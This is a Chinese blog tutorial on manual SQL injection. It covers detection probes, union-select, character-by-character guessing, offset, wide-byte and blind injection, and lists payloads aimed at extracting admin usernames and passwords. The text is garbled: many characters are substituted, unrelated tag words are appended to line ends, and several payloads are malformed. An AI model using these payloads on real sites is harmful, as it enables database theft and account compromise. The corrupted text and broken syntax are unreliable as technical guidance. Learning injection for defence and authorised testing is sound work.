基礎篇——SQL注入(手工注入)

SQL注入

  當咱們學習一個知識時咱們要考慮幾個問題:是什麼?怎麼作?而後進行有條理的學習web

是什麼?

 

  首先咱們要明白SQL注入是什麼:sql

    sql——結構化查詢語言shell

    SQL注入就是在網站url中插入sql語句,執行sql命令,獲取數據庫內容,達到欺騙服務器的目的。數據庫

  SQL注入的原理:普通用戶提交sql查詢語句,網站沒有對用戶輸入進行過濾致使執行用戶命令服務器

危害及防禦

  危害:SQL注入可使入侵者獲取後臺帳號密碼、拖庫、進入後臺破壞、拿shell工具

  防禦:設置網站黑名單、限制敏感詞彙、對用戶輸入進行轉義、將參數語句化學習

怎麼作?

  明白什麼時SQL注入後咱們就要學習如何注入。測試

  注入的前提是要找到注入漏洞,一般判斷是否存在SQL注入漏洞的方法有:網站

    一、  ‘  單引號判斷編碼

    二、 and 1=1 1=2  判斷

  找到注入漏洞後就能夠進行SQL注入了,注入方法分爲不少種:

    聯合查詢法

    逐字猜解法

    偏移注入法

    寬字節注入

    時間、布爾盲注

    報錯注入

  進行注入可使用手工和工具,手工注入方法:

    一、聯合查詢法

      首先判斷存在注入漏洞後:

        一、使用order by

        二、使用聯合查詢語句:union select nums,nums(字段數) from admin(數據庫表名)

                         

        三、根據返回內容進一步猜解列名:帳號密碼

                                                                           

 

    二、逐字猜解法:

      逐字猜解不須要進行猜解字段,直接使用逐字猜解語句猜解庫名、列名以及帳號密碼

      逐字猜解語句:

             and exists (select * from 表名)

                  and exists (select  列名  from 表名)

                  and (select top 1 len(用戶名) from admin ) =名字長度

                  and (select top 1 asc(mid用戶名,1,1)from admin )=97  (判斷第一位的ascll值)

             and (select top 1 asc(mid用戶名,2,1)from admin )=97  (第二位)

      逐字猜解方法偏於繁瑣,熟悉手工注入方式便可,在滲透測試過程當中仍是要講究效率問題    

    三、偏移注入法:

      偏移注入屬於沒法猜解帳號密碼後嘗試的使用方法,注入結果帶有一點運氣的成分

      偏移注入語句:

        order by 猜解字段

        union select num,num,num from 表名

        union select num,num,* from admin 逐個遞減字段數,當能夠正常訪問則證實admin表存在(遞減字段數假設爲x)個字段

        以後每次遞減x個字段

        遞減一個x後

        union select num * from(admin as ainner join admin as b on a.id=b.id)

        遞減兩個x後

        union select num * from ((admin in as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)

        逐個遞減直到所剩字段小於x後(不必定能夠獲得所要結果)

    四、寬字節注入法:

      何時使用寬字節呢?當web編碼使用GBK時,能夠將單引號轉義則使用寬字節注入

      寬字節注入:%df (注入語句)%23

    五、報錯注入,盲注則根據頁面返回狀況,返回時間進行注入

  以上即爲經常使用的幾種手工注入方式,若有錯誤請留言,博主及時更正!

相關文章
相關標籤/搜索